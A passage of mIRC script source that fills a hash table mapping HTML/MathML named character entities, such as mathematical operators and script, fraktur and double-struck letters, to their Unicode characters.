  4792.   hadd %h /^plussim$/1836 $chr($base(2A26, 16, 10))
  4793.   hadd %h /^plustwo$/1837 $chr($base(2A27, 16, 10))
  4794.   hadd %h /^mcomma$/1838 $chr($base(2A29, 16, 10))
  4795.   hadd %h /^minusdu$/1839 $chr($base(2A2A, 16, 10))
  4796.   hadd %h /^loplus$/1840 $chr($base(2A2D, 16, 10))
  4797.   hadd %h /^roplus$/1841 $chr($base(2A2E, 16, 10))
  4798.   hadd %h /^Cross$/1842 $chr($base(2A2F, 16, 10))
  4799.   hadd %h /^timesd$/1843 $chr($base(2A30, 16, 10))
  4800.   hadd %h /^timesbar$/1844 $chr($base(2A31, 16, 10))
  4801.   hadd %h /^smashp$/1845 $chr($base(2A33, 16, 10))
  4802.   hadd %h /^lotimes$/1846 $chr($base(2A34, 16, 10))
  4803.   hadd %h /^rotimes$/1847 $chr($base(2A35, 16, 10))
  4804.   hadd %h /^otimesas$/1848 $chr($base(2A36, 16, 10))
  4805.   hadd %h /^Otimes$/1849 $chr($base(2A37, 16, 10))
  4806.   hadd %h /^odiv$/1850 $chr($base(2A38, 16, 10))
  4807.   hadd %h /^triplus$/1851 $chr($base(2A39, 16, 10))
  4808.   hadd %h /^triminus$/1852 $chr($base(2A3A, 16, 10))
  4809.   hadd %h /^tritime$/1853 $chr($base(2A3B, 16, 10))
  4810.   hadd %h /^iprod$/1854 $chr($base(2A3C, 16, 10))
  4811.   hadd %h /^intprod$/1855 $chr($base(2A3C, 16, 10))
  4812.   hadd %h /^amalg$/1856 $chr($base(2A3F, 16, 10))
  4813.   hadd %h /^capdot$/1857 $chr($base(2A40, 16, 10))
  4814.   hadd %h /^ncup$/1858 $chr($base(2A42, 16, 10))
  4815.   hadd %h /^ncap$/1859 $chr($base(2A43, 16, 10))
  4816.   hadd %h /^capand$/1860 $chr($base(2A44, 16, 10))
  4817.   hadd %h /^cupor$/1861 $chr($base(2A45, 16, 10))
  4818.   hadd %h /^cupcap$/1862 $chr($base(2A46, 16, 10))
  4819.   hadd %h /^capcup$/1863 $chr($base(2A47, 16, 10))
  4820.   hadd %h /^cupbrcap$/1864 $chr($base(2A48, 16, 10))
  4821.   hadd %h /^capbrcup$/1865 $chr($base(2A49, 16, 10))
  4822.   hadd %h /^cupcup$/1866 $chr($base(2A4A, 16, 10))
  4823.   hadd %h /^capcap$/1867 $chr($base(2A4B, 16, 10))
  4824.   hadd %h /^ccups$/1868 $chr($base(2A4C, 16, 10))
  4825.   hadd %h /^ccaps$/1869 $chr($base(2A4D, 16, 10))
  4826.   hadd %h /^ccupssm$/1870 $chr($base(2A50, 16, 10))
  4827.   hadd %h /^And$/1871 $chr($base(2A53, 16, 10))
  4828.   hadd %h /^Or$/1872 $chr($base(2A54, 16, 10))
  4829.   hadd %h /^andand$/1873 $chr($base(2A55, 16, 10))
  4830.   hadd %h /^oror$/1874 $chr($base(2A56, 16, 10))
  4831.   hadd %h /^orslope$/1875 $chr($base(2A57, 16, 10))
  4832.   hadd %h /^andslope$/1876 $chr($base(2A58, 16, 10))
  4833.   hadd %h /^andv$/1877 $chr($base(2A5A, 16, 10))
  4834.   hadd %h /^orv$/1878 $chr($base(2A5B, 16, 10))
  4835.   hadd %h /^andd$/1879 $chr($base(2A5C, 16, 10))
  4836.   hadd %h /^ord$/1880 $chr($base(2A5D, 16, 10))
  4837.   hadd %h /^wedbar$/1881 $chr($base(2A5F, 16, 10))
  4838.   hadd %h /^sdote$/1882 $chr($base(2A66, 16, 10))
  4839.   hadd %h /^simdot$/1883 $chr($base(2A6A, 16, 10))
  4840.   hadd %h /^congdot$/1884 $chr($base(2A6D, 16, 10))
  4841.   hadd %h /^ncongdot$/1885 $chr($base(2A6D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4842.   hadd %h /^easter$/1886 $chr($base(2A6E, 16, 10))
  4843.   hadd %h /^apacir$/1887 $chr($base(2A6F, 16, 10))
  4844.   hadd %h /^apE$/1888 $chr($base(2A70, 16, 10))
  4845.   hadd %h /^napE$/1889 $chr($base(2A70, 16, 10)) $+ $chr($base(0338, 16, 10))
  4846.   hadd %h /^eplus$/1890 $chr($base(2A71, 16, 10))
  4847.   hadd %h /^pluse$/1891 $chr($base(2A72, 16, 10))
  4848.   hadd %h /^Esim$/1892 $chr($base(2A73, 16, 10))
  4849.   hadd %h /^Colone$/1893 $chr($base(2A74, 16, 10))
  4850.   hadd %h /^Equal$/1894 $chr($base(2A75, 16, 10))
  4851.   hadd %h /^eDDot$/1895 $chr($base(2A77, 16, 10))
  4852.   hadd %h /^ddotseq$/1896 $chr($base(2A77, 16, 10))
  4853.   hadd %h /^equivDD$/1897 $chr($base(2A78, 16, 10))
  4854.   hadd %h /^ltcir$/1898 $chr($base(2A79, 16, 10))
  4855.   hadd %h /^gtcir$/1899 $chr($base(2A7A, 16, 10))
  4856.   hadd %h /^ltquest$/1900 $chr($base(2A7B, 16, 10))
  4857.   hadd %h /^gtquest$/1901 $chr($base(2A7C, 16, 10))
  4858.   hadd %h /^les$/1902 $chr($base(2A7D, 16, 10))
  4859.   hadd %h /^LessSlantEqual$/1903 $chr($base(2A7D, 16, 10))
  4860.   hadd %h /^leqslant$/1904 $chr($base(2A7D, 16, 10))
  4861.   hadd %h /^nles$/1905 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4862.   hadd %h /^NotLessSlantEqual$/1906 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4863.   hadd %h /^nleqslant$/1907 $chr($base(2A7D, 16, 10)) $+ $chr($base(0338, 16, 10))
  4864.   hadd %h /^ges$/1908 $chr($base(2A7E, 16, 10))
  4865.   hadd %h /^GreaterSlantEqual$/1909 $chr($base(2A7E, 16, 10))
  4866.   hadd %h /^geqslant$/1910 $chr($base(2A7E, 16, 10))
  4867.   hadd %h /^nges$/1911 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4868.   hadd %h /^NotGreaterSlantEqual$/1912 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4869.   hadd %h /^ngeqslant$/1913 $chr($base(2A7E, 16, 10)) $+ $chr($base(0338, 16, 10))
  4870.   hadd %h /^lesdot$/1914 $chr($base(2A7F, 16, 10))
  4871.   hadd %h /^gesdot$/1915 $chr($base(2A80, 16, 10))
  4872.   hadd %h /^lesdoto$/1916 $chr($base(2A81, 16, 10))
  4873.   hadd %h /^gesdoto$/1917 $chr($base(2A82, 16, 10))
  4874.   hadd %h /^lesdotor$/1918 $chr($base(2A83, 16, 10))
  4875.   hadd %h /^gesdotol$/1919 $chr($base(2A84, 16, 10))
  4876.   hadd %h /^lap$/1920 $chr($base(2A85, 16, 10))
  4877.   hadd %h /^lessapprox$/1921 $chr($base(2A85, 16, 10))
  4878.   hadd %h /^gap$/1922 $chr($base(2A86, 16, 10))
  4879.   hadd %h /^gtrapprox$/1923 $chr($base(2A86, 16, 10))
  4880.   hadd %h /^lne$/1924 $chr($base(2A87, 16, 10))
  4881.   hadd %h /^lneq$/1925 $chr($base(2A87, 16, 10))
  4882.   hadd %h /^gne$/1926 $chr($base(2A88, 16, 10))
  4883.   hadd %h /^gneq$/1927 $chr($base(2A88, 16, 10))
  4884.   hadd %h /^lnap$/1928 $chr($base(2A89, 16, 10))
  4885.   hadd %h /^lnapprox$/1929 $chr($base(2A89, 16, 10))
  4886.   hadd %h /^gnap$/1930 $chr($base(2A8A, 16, 10))
  4887.   hadd %h /^gnapprox$/1931 $chr($base(2A8A, 16, 10))
  4888.   hadd %h /^lEg$/1932 $chr($base(2A8B, 16, 10))
  4889.   hadd %h /^lesseqqgtr$/1933 $chr($base(2A8B, 16, 10))
  4890.   hadd %h /^gEl$/1934 $chr($base(2A8C, 16, 10))
  4891.   hadd %h /^gtreqqless$/1935 $chr($base(2A8C, 16, 10))
  4892.   hadd %h /^lsime$/1936 $chr($base(2A8D, 16, 10))
  4893.   hadd %h /^gsime$/1937 $chr($base(2A8E, 16, 10))
  4894.   hadd %h /^lsimg$/1938 $chr($base(2A8F, 16, 10))
  4895.   hadd %h /^gsiml$/1939 $chr($base(2A90, 16, 10))
  4896.   hadd %h /^lgE$/1940 $chr($base(2A91, 16, 10))
  4897.   hadd %h /^glE$/1941 $chr($base(2A92, 16, 10))
  4898.   hadd %h /^lesges$/1942 $chr($base(2A93, 16, 10))
  4899.   hadd %h /^gesles$/1943 $chr($base(2A94, 16, 10))
  4900.   hadd %h /^els$/1944 $chr($base(2A95, 16, 10))
  4901.   hadd %h /^eqslantless$/1945 $chr($base(2A95, 16, 10))
  4902.   hadd %h /^egs$/1946 $chr($base(2A96, 16, 10))
  4903.   hadd %h /^eqslantgtr$/1947 $chr($base(2A96, 16, 10))
  4904.   hadd %h /^elsdot$/1948 $chr($base(2A97, 16, 10))
  4905.   hadd %h /^egsdot$/1949 $chr($base(2A98, 16, 10))
  4906.   hadd %h /^el$/1950 $chr($base(2A99, 16, 10))
  4907.   hadd %h /^eg$/1951 $chr($base(2A9A, 16, 10))
  4908.   hadd %h /^siml$/1952 $chr($base(2A9D, 16, 10))
  4909.   hadd %h /^simg$/1953 $chr($base(2A9E, 16, 10))
  4910.   hadd %h /^simlE$/1954 $chr($base(2A9F, 16, 10))
  4911.   hadd %h /^simgE$/1955 $chr($base(2AA0, 16, 10))
  4912.   hadd %h /^LessLess$/1956 $chr($base(2AA1, 16, 10))
  4913.   hadd %h /^NotNestedLessLess$/1957 $chr($base(2AA1, 16, 10)) $+ $chr($base(0338, 16, 10))
  4914.   hadd %h /^GreaterGreater$/1958 $chr($base(2AA2, 16, 10))
  4915.   hadd %h /^NotNestedGreaterGreater$/1959 $chr($base(2AA2, 16, 10)) $+ $chr($base(0338, 16, 10))
  4916.   hadd %h /^glj$/1960 $chr($base(2AA4, 16, 10))
  4917.   hadd %h /^gla$/1961 $chr($base(2AA5, 16, 10))
  4918.   hadd %h /^ltcc$/1962 $chr($base(2AA6, 16, 10))
  4919.   hadd %h /^gtcc$/1963 $chr($base(2AA7, 16, 10))
  4920.   hadd %h /^lescc$/1964 $chr($base(2AA8, 16, 10))
  4921.   hadd %h /^gescc$/1965 $chr($base(2AA9, 16, 10))
  4922.   hadd %h /^smt$/1966 $chr($base(2AAA, 16, 10))
  4923.   hadd %h /^lat$/1967 $chr($base(2AAB, 16, 10))
  4924.   hadd %h /^smte$/1968 $chr($base(2AAC, 16, 10))
  4925.   hadd %h /^smtes$/1969 $chr($base(2AAC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4926.   hadd %h /^late$/1970 $chr($base(2AAD, 16, 10))
  4927.   hadd %h /^lates$/1971 $chr($base(2AAD, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4928.   hadd %h /^bumpE$/1972 $chr($base(2AAE, 16, 10))
  4929.   hadd %h /^pre$/1973 $chr($base(2AAF, 16, 10))
  4930.   hadd %h /^preceq$/1974 $chr($base(2AAF, 16, 10))
  4931.   hadd %h /^PrecedesEqual$/1975 $chr($base(2AAF, 16, 10))
  4932.   hadd %h /^npre$/1976 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4933.   hadd %h /^npreceq$/1977 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4934.   hadd %h /^NotPrecedesEqual$/1978 $chr($base(2AAF, 16, 10)) $+ $chr($base(0338, 16, 10))
  4935.   hadd %h /^sce$/1979 $chr($base(2AB0, 16, 10))
  4936.   hadd %h /^succeq$/1980 $chr($base(2AB0, 16, 10))
  4937.   hadd %h /^SucceedsEqual$/1981 $chr($base(2AB0, 16, 10))
  4938.   hadd %h /^nsce$/1982 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4939.   hadd %h /^nsucceq$/1983 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4940.   hadd %h /^NotSucceedsEqual$/1984 $chr($base(2AB0, 16, 10)) $+ $chr($base(0338, 16, 10))
  4941.   hadd %h /^prE$/1985 $chr($base(2AB3, 16, 10))
  4942.   hadd %h /^scE$/1986 $chr($base(2AB4, 16, 10))
  4943.   hadd %h /^prnE$/1987 $chr($base(2AB5, 16, 10))
  4944.   hadd %h /^precneqq$/1988 $chr($base(2AB5, 16, 10))
  4945.   hadd %h /^scnE$/1989 $chr($base(2AB6, 16, 10))
  4946.   hadd %h /^succneqq$/1990 $chr($base(2AB6, 16, 10))
  4947.   hadd %h /^prap$/1991 $chr($base(2AB7, 16, 10))
  4948.   hadd %h /^precapprox$/1992 $chr($base(2AB7, 16, 10))
  4949.   hadd %h /^scap$/1993 $chr($base(2AB8, 16, 10))
  4950.   hadd %h /^succapprox$/1994 $chr($base(2AB8, 16, 10))
  4951.   hadd %h /^prnap$/1995 $chr($base(2AB9, 16, 10))
  4952.   hadd %h /^precnapprox$/1996 $chr($base(2AB9, 16, 10))
  4953.   hadd %h /^scnap$/1997 $chr($base(2ABA, 16, 10))
  4954.   hadd %h /^succnapprox$/1998 $chr($base(2ABA, 16, 10))
  4955.   hadd %h /^Pr$/1999 $chr($base(2ABB, 16, 10))
  4956.   hadd %h /^Sc$/2000 $chr($base(2ABC, 16, 10))
  4957.   hadd %h /^subdot$/2001 $chr($base(2ABD, 16, 10))
  4958.   hadd %h /^supdot$/2002 $chr($base(2ABE, 16, 10))
  4959.   hadd %h /^subplus$/2003 $chr($base(2ABF, 16, 10))
  4960.   hadd %h /^supplus$/2004 $chr($base(2AC0, 16, 10))
  4961.   hadd %h /^submult$/2005 $chr($base(2AC1, 16, 10))
  4962.   hadd %h /^supmult$/2006 $chr($base(2AC2, 16, 10))
  4963.   hadd %h /^subedot$/2007 $chr($base(2AC3, 16, 10))
  4964.   hadd %h /^supedot$/2008 $chr($base(2AC4, 16, 10))
  4965.   hadd %h /^subE$/2009 $chr($base(2AC5, 16, 10))
  4966.   hadd %h /^subseteqq$/2010 $chr($base(2AC5, 16, 10))
  4967.   hadd %h /^nsubE$/2011 $chr($base(2AC5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4968.   hadd %h /^nsubseteqq$/2012 $chr($base(2AC5, 16, 10)) $+ $chr($base(0338, 16, 10))
  4969.   hadd %h /^supE$/2013 $chr($base(2AC6, 16, 10))
  4970.   hadd %h /^supseteqq$/2014 $chr($base(2AC6, 16, 10))
  4971.   hadd %h /^nsupE$/2015 $chr($base(2AC6, 16, 10)) $+ $chr($base(0338, 16, 10))
  4972.   hadd %h /^nsupseteqq$/2016 $chr($base(2AC6, 16, 10)) $+ $chr($base(0338, 16, 10))
  4973.   hadd %h /^subsim$/2017 $chr($base(2AC7, 16, 10))
  4974.   hadd %h /^supsim$/2018 $chr($base(2AC8, 16, 10))
  4975.   hadd %h /^subnE$/2019 $chr($base(2ACB, 16, 10))
  4976.   hadd %h /^subsetneqq$/2020 $chr($base(2ACB, 16, 10))
  4977.   hadd %h /^vsubnE$/2021 $chr($base(2ACB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4978.   hadd %h /^varsubsetneqq$/2022 $chr($base(2ACB, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4979.   hadd %h /^supnE$/2023 $chr($base(2ACC, 16, 10))
  4980.   hadd %h /^supsetneqq$/2024 $chr($base(2ACC, 16, 10))
  4981.   hadd %h /^vsupnE$/2025 $chr($base(2ACC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4982.   hadd %h /^varsupsetneqq$/2026 $chr($base(2ACC, 16, 10)) $+ $chr($base(FE00, 16, 10))
  4983.   hadd %h /^csub$/2027 $chr($base(2ACF, 16, 10))
  4984.   hadd %h /^csup$/2028 $chr($base(2AD0, 16, 10))
  4985.   hadd %h /^csube$/2029 $chr($base(2AD1, 16, 10))
  4986.   hadd %h /^csupe$/2030 $chr($base(2AD2, 16, 10))
  4987.   hadd %h /^subsup$/2031 $chr($base(2AD3, 16, 10))
  4988.   hadd %h /^supsub$/2032 $chr($base(2AD4, 16, 10))
  4989.   hadd %h /^subsub$/2033 $chr($base(2AD5, 16, 10))
  4990.   hadd %h /^supsup$/2034 $chr($base(2AD6, 16, 10))
  4991.   hadd %h /^suphsub$/2035 $chr($base(2AD7, 16, 10))
  4992.   hadd %h /^supdsub$/2036 $chr($base(2AD8, 16, 10))
  4993.   hadd %h /^forkv$/2037 $chr($base(2AD9, 16, 10))
  4994.   hadd %h /^topfork$/2038 $chr($base(2ADA, 16, 10))
  4995.   hadd %h /^mlcp$/2039 $chr($base(2ADB, 16, 10))
  4996.   hadd %h /^Dashv$/2040 $chr($base(2AE4, 16, 10))
  4997.   hadd %h /^DoubleLeftTee$/2041 $chr($base(2AE4, 16, 10))
  4998.   hadd %h /^Vdashl$/2042 $chr($base(2AE6, 16, 10))
  4999.   hadd %h /^Barv$/2043 $chr($base(2AE7, 16, 10))
  5000.   hadd %h /^vBar$/2044 $chr($base(2AE8, 16, 10))
  5001.   hadd %h /^vBarv$/2045 $chr($base(2AE9, 16, 10))
  5002.   hadd %h /^Vbar$/2046 $chr($base(2AEB, 16, 10))
  5003.   hadd %h /^Not$/2047 $chr($base(2AEC, 16, 10))
  5004.   hadd %h /^bNot$/2048 $chr($base(2AED, 16, 10))
  5005.   hadd %h /^rnmid$/2049 $chr($base(2AEE, 16, 10))
  5006.   hadd %h /^cirmid$/2050 $chr($base(2AEF, 16, 10))
  5007.   hadd %h /^midcir$/2051 $chr($base(2AF0, 16, 10))
  5008.   hadd %h /^topcir$/2052 $chr($base(2AF1, 16, 10))
  5009.   hadd %h /^nhpar$/2053 $chr($base(2AF2, 16, 10))
  5010.   hadd %h /^parsim$/2054 $chr($base(2AF3, 16, 10))
  5011.   hadd %h /^parsl$/2055 $chr($base(2AFD, 16, 10))
  5012.   hadd %h /^nparsl$/2056 $chr($base(2AFD, 16, 10)) $+ $chr($base(20E5, 16, 10))
  5013.   hadd %h /^fflig$/2057 $chr($base(FB00, 16, 10))
  5014.   hadd %h /^filig$/2058 $chr($base(FB01, 16, 10))
  5015.   hadd %h /^fllig$/2059 $chr($base(FB02, 16, 10))
  5016.   hadd %h /^ffilig$/2060 $chr($base(FB03, 16, 10))
  5017.   hadd %h /^ffllig$/2061 $chr($base(FB04, 16, 10))
  5018.   hadd %h /^Ascr$/2062 $chr($base(1D49C, 16, 10))
  5019.   hadd %h /^Cscr$/2063 $chr($base(1D49E, 16, 10))
  5020.   hadd %h /^Dscr$/2064 $chr($base(1D49F, 16, 10))
  5021.   hadd %h /^Gscr$/2065 $chr($base(1D4A2, 16, 10))
  5022.   hadd %h /^Jscr$/2066 $chr($base(1D4A5, 16, 10))
  5023.   hadd %h /^Kscr$/2067 $chr($base(1D4A6, 16, 10))
  5024.   hadd %h /^Nscr$/2068 $chr($base(1D4A9, 16, 10))
  5025.   hadd %h /^Oscr$/2069 $chr($base(1D4AA, 16, 10))
  5026.   hadd %h /^Pscr$/2070 $chr($base(1D4AB, 16, 10))
  5027.   hadd %h /^Qscr$/2071 $chr($base(1D4AC, 16, 10))
  5028.   hadd %h /^Sscr$/2072 $chr($base(1D4AE, 16, 10))
  5029.   hadd %h /^Tscr$/2073 $chr($base(1D4AF, 16, 10))
  5030.   hadd %h /^Uscr$/2074 $chr($base(1D4B0, 16, 10))
  5031.   hadd %h /^Vscr$/2075 $chr($base(1D4B1, 16, 10))
  5032.   hadd %h /^Wscr$/2076 $chr($base(1D4B2, 16, 10))
  5033.   hadd %h /^Xscr$/2077 $chr($base(1D4B3, 16, 10))
  5034.   hadd %h /^Yscr$/2078 $chr($base(1D4B4, 16, 10))
  5035.   hadd %h /^Zscr$/2079 $chr($base(1D4B5, 16, 10))
  5036.   hadd %h /^ascr$/2080 $chr($base(1D4B6, 16, 10))
  5037.   hadd %h /^bscr$/2081 $chr($base(1D4B7, 16, 10))
  5038.   hadd %h /^cscr$/2082 $chr($base(1D4B8, 16, 10))
  5039.   hadd %h /^dscr$/2083 $chr($base(1D4B9, 16, 10))
  5040.   hadd %h /^fscr$/2084 $chr($base(1D4BB, 16, 10))
  5041.   hadd %h /^hscr$/2085 $chr($base(1D4BD, 16, 10))
  5042.   hadd %h /^iscr$/2086 $chr($base(1D4BE, 16, 10))
  5043.   hadd %h /^jscr$/2087 $chr($base(1D4BF, 16, 10))
  5044.   hadd %h /^kscr$/2088 $chr($base(1D4C0, 16, 10))
  5045.   hadd %h /^lscr$/2089 $chr($base(1D4C1, 16, 10))
  5046.   hadd %h /^mscr$/2090 $chr($base(1D4C2, 16, 10))
  5047.   hadd %h /^nscr$/2091 $chr($base(1D4C3, 16, 10))
  5048.   hadd %h /^pscr$/2092 $chr($base(1D4C5, 16, 10))
  5049.   hadd %h /^qscr$/2093 $chr($base(1D4C6, 16, 10))
  5050.   hadd %h /^rscr$/2094 $chr($base(1D4C7, 16, 10))
  5051.   hadd %h /^sscr$/2095 $chr($base(1D4C8, 16, 10))
  5052.   hadd %h /^tscr$/2096 $chr($base(1D4C9, 16, 10))
  5053.   hadd %h /^uscr$/2097 $chr($base(1D4CA, 16, 10))
  5054.   hadd %h /^vscr$/2098 $chr($base(1D4CB, 16, 10))
  5055.   hadd %h /^wscr$/2099 $chr($base(1D4CC, 16, 10))
  5056.   hadd %h /^xscr$/2100 $chr($base(1D4CD, 16, 10))
  5057.   hadd %h /^yscr$/2101 $chr($base(1D4CE, 16, 10))
  5058.   hadd %h /^zscr$/2102 $chr($base(1D4CF, 16, 10))
  5059.   hadd %h /^Afr$/2103 $chr($base(1D504, 16, 10))
  5060.   hadd %h /^Bfr$/2104 $chr($base(1D505, 16, 10))
  5061.   hadd %h /^Dfr$/2105 $chr($base(1D507, 16, 10))
  5062.   hadd %h /^Efr$/2106 $chr($base(1D508, 16, 10))
  5063.   hadd %h /^Ffr$/2107 $chr($base(1D509, 16, 10))
  5064.   hadd %h /^Gfr$/2108 $chr($base(1D50A, 16, 10))
  5065.   hadd %h /^Jfr$/2109 $chr($base(1D50D, 16, 10))
  5066.   hadd %h /^Kfr$/2110 $chr($base(1D50E, 16, 10))
  5067.   hadd %h /^Lfr$/2111 $chr($base(1D50F, 16, 10))
  5068.   hadd %h /^Mfr$/2112 $chr($base(1D510, 16, 10))
  5069.   hadd %h /^Nfr$/2113 $chr($base(1D511, 16, 10))
  5070.   hadd %h /^Ofr$/2114 $chr($base(1D512, 16, 10))
  5071.   hadd %h /^Pfr$/2115 $chr($base(1D513, 16, 10))
  5072.   hadd %h /^Qfr$/2116 $chr($base(1D514, 16, 10))
  5073.   hadd %h /^Sfr$/2117 $chr($base(1D516, 16, 10))
  5074.   hadd %h /^Tfr$/2118 $chr($base(1D517, 16, 10))
  5075.   hadd %h /^Ufr$/2119 $chr($base(1D518, 16, 10))
  5076.   hadd %h /^Vfr$/2120 $chr($base(1D519, 16, 10))
  5077.   hadd %h /^Wfr$/2121 $chr($base(1D51A, 16, 10))
  5078.   hadd %h /^Xfr$/2122 $chr($base(1D51B, 16, 10))
  5079.   hadd %h /^Yfr$/2123 $chr($base(1D51C, 16, 10))
  5080.   hadd %h /^afr$/2124 $chr($base(1D51E, 16, 10))
  5081.   hadd %h /^bfr$/2125 $chr($base(1D51F, 16, 10))
  5082.   hadd %h /^cfr$/2126 $chr($base(1D520, 16, 10))
  5083.   hadd %h /^dfr$/2127 $chr($base(1D521, 16, 10))
  5084.   hadd %h /^efr$/2128 $chr($base(1D522, 16, 10))
  5085.   hadd %h /^ffr$/2129 $chr($base(1D523, 16, 10))
  5086.   hadd %h /^gfr$/2130 $chr($base(1D524, 16, 10))
  5087.   hadd %h /^hfr$/2131 $chr($base(1D525, 16, 10))
  5088.   hadd %h /^ifr$/2132 $chr($base(1D526, 16, 10))
  5089.   hadd %h /^jfr$/2133 $chr($base(1D527, 16, 10))
  5090.   hadd %h /^kfr$/2134 $chr($base(1D528, 16, 10))
  5091.   hadd %h /^lfr$/2135 $chr($base(1D529, 16, 10))
  5092.   hadd %h /^mfr$/2136 $chr($base(1D52A, 16, 10))
  5093.   hadd %h /^nfr$/2137 $chr($base(1D52B, 16, 10))
  5094.   hadd %h /^ofr$/2138 $chr($base(1D52C, 16, 10))
  5095.   hadd %h /^pfr$/2139 $chr($base(1D52D, 16, 10))
  5096.   hadd %h /^qfr$/2140 $chr($base(1D52E, 16, 10))
  5097.   hadd %h /^rfr$/2141 $chr($base(1D52F, 16, 10))
  5098.   hadd %h /^sfr$/2142 $chr($base(1D530, 16, 10))
  5099.   hadd %h /^tfr$/2143 $chr($base(1D531, 16, 10))
  5100.   hadd %h /^ufr$/2144 $chr($base(1D532, 16, 10))
  5101.   hadd %h /^vfr$/2145 $chr($base(1D533, 16, 10))
  5102.   hadd %h /^wfr$/2146 $chr($base(1D534, 16, 10))
  5103.   hadd %h /^xfr$/2147 $chr($base(1D535, 16, 10))
  5104.   hadd %h /^yfr$/2148 $chr($base(1D536, 16, 10))
  5105.   hadd %h /^zfr$/2149 $chr($base(1D537, 16, 10))
  5106.   hadd %h /^Aopf$/2150 $chr($base(1D538, 16, 10))
  5107.   hadd %h /^Bopf$/2151 $chr($base(1D539, 16, 10))
  5108.   hadd %h /^Dopf$/2152 $chr($base(1D53B, 16, 10))
  5109.   hadd %h /^Eopf$/2153 $chr($base(1D53C, 16, 10))
  5110.   hadd %h /^Fopf$/2154 $chr($base(1D53D, 16, 10))
  5111.   hadd %h /^Gopf$/2155 $chr($base(1D53E, 16, 10))
  5112.   hadd %h /^Iopf$/2156 $chr($base(1D540, 16, 10))
  5113.   hadd %h /^Jopf$/2157 $chr($base(1D541, 16, 10))
  5114.   hadd %h /^Kopf$/2158 $chr($base(1D542, 16, 10))
  5115.   hadd %h /^Lopf$/2159 $chr($base(1D543, 16, 10))
  5116.   hadd %h /^Mopf$/2160 $chr($base(1D544, 16, 10))
  5117.   hadd %h /^Oopf$/2161 $chr($base(1D546, 16, 10))
  5118.   hadd %h /^Sopf$/2162 $chr($base(1D54A, 16, 10))
  5119.   hadd %h /^Topf$/2163 $chr($base(1D54B, 16, 10))
  5120.   hadd %h /^Uopf$/2164 $chr($base(1D54C, 16, 10))
  5121.   hadd %h /^Vopf$/2165 $chr($base(1D54D, 16, 10))
  5122.   hadd %h /^Wopf$/2166 $chr($base(1D54E, 16, 10))
  5123.   hadd %h /^Xopf$/2167 $chr($base(1D54F, 16, 10))
  5124.   hadd %h /^Yopf$/2168 $chr($base(1D550, 16, 10))
  5125.   hadd %h /^aopf$/2169 $chr($base(1D552, 16, 10))
  5126.   hadd %h /^bopf$/2170 $chr($base(1D553, 16, 10))
  5127.   hadd %h /^copf$/2171 $chr($base(1D554, 16, 10))
  5128.   hadd %h /^dopf$/2172 $chr($base(1D555, 16, 10))
  5129.   hadd %h /^eopf$/2173 $chr($base(1D556, 16, 10))
  5130.   hadd %h /^fopf$/2174 $chr($base(1D557, 16, 10))
  5131.   hadd %h /^gopf$/2175 $chr($base(1D558, 16, 10))
  5132.   hadd %h /^hopf$/2176 $chr($base(1D559, 16, 10))
  5133.   hadd %h /^iopf$/2177 $chr($base(1D55A, 16, 10))
  5134.   hadd %h /^jopf$/2178 $chr($base(1D55B, 16, 10))
  5135.   hadd %h /^kopf$/2179 $chr($base(1D55C, 16, 10))
  5136.   hadd %h /^lopf$/2180 $chr($base(1D55D, 16, 10))
  5137.   hadd %h /^mopf$/2181 $chr($base(1D55E, 16, 10))
  5138.   hadd %h /^nopf$/2182 $chr($base(1D55F, 16, 10))
  5139.   hadd %h /^oopf$/2183 $chr($base(1D560, 16, 10))
  5140.   hadd %h /^popf$/2184 $chr($base(1D561, 16, 10))
  5141.   hadd %h /^qopf$/2185 $chr($base(1D562, 16, 10))
  5142.   hadd %h /^ropf$/2186 $chr($base(1D563, 16, 10))
  5143.   hadd %h /^sopf$/2187 $chr($base(1D564, 16, 10))
  5144.   hadd %h /^topf$/2188 $chr($base(1D565, 16, 10))
  5145.   hadd %h /^uopf$/2189 $chr($base(1D566, 16, 10))
  5146.   hadd %h /^vopf$/2190 $chr($base(1D567, 16, 10))
  5147.   hadd %h /^wopf$/2191 $chr($base(1D568, 16, 10))
  5148.   hadd %h /^xopf$/2192 $chr($base(1D569, 16, 10))
  5149.   hadd %h /^yopf$/2193 $chr($base(1D56A, 16, 10))
  5150.   hadd %h /^zopf$/2194 $chr($base(1D56B, 16, 10))
  5151.   hadd %h /^b\.Gamma$/2195 $chr($base(1D6AA, 16, 10))
  5152.   hadd %h /^b\.Delta$/2196 $chr($base(1D6AB, 16, 10))
  5153.   hadd %h /^b\.Theta$/2197 $chr($base(1D6AF, 16, 10))
  5154.   hadd %h /^b\.Lambda$/2198 $chr($base(1D6B2, 16, 10))
  5155.   hadd %h /^b\.Xi$/2199 $chr($base(1D6B5, 16, 10))
  5156.   hadd %h /^b\.Pi$/2200 $chr($base(1D6B7, 16, 10))
  5157.   hadd %h /^b\.Sigma$/2201 $chr($base(1D6BA, 16, 10))
  5158.   hadd %h /^b\.Upsi$/2202 $chr($base(1D6BC, 16, 10))
  5159.   hadd %h /^b\.Phi$/2203 $chr($base(1D6BD, 16, 10))
  5160.   hadd %h /^b\.Psi$/2204 $chr($base(1D6BF, 16, 10))
  5161.   hadd %h /^b\.Omega$/2205 $chr($base(1D6C0, 16, 10))
  5162.   hadd %h /^b\.alpha$/2206 $chr($base(1D6C2, 16, 10))
  5163.   hadd %h /^b\.beta$/2207 $chr($base(1D6C3, 16, 10))
  5164.   hadd %h /^b\.gamma$/2208 $chr($base(1D6C4, 16, 10))
  5165.   hadd %h /^b\.delta$/2209 $chr($base(1D6C5, 16, 10))
  5166.   hadd %h /^b\.epsi$/2210 $chr($base(1D6C6, 16, 10))
  5167.   hadd %h /^b\.zeta$/2211 $chr($base(1D6C7, 16, 10))
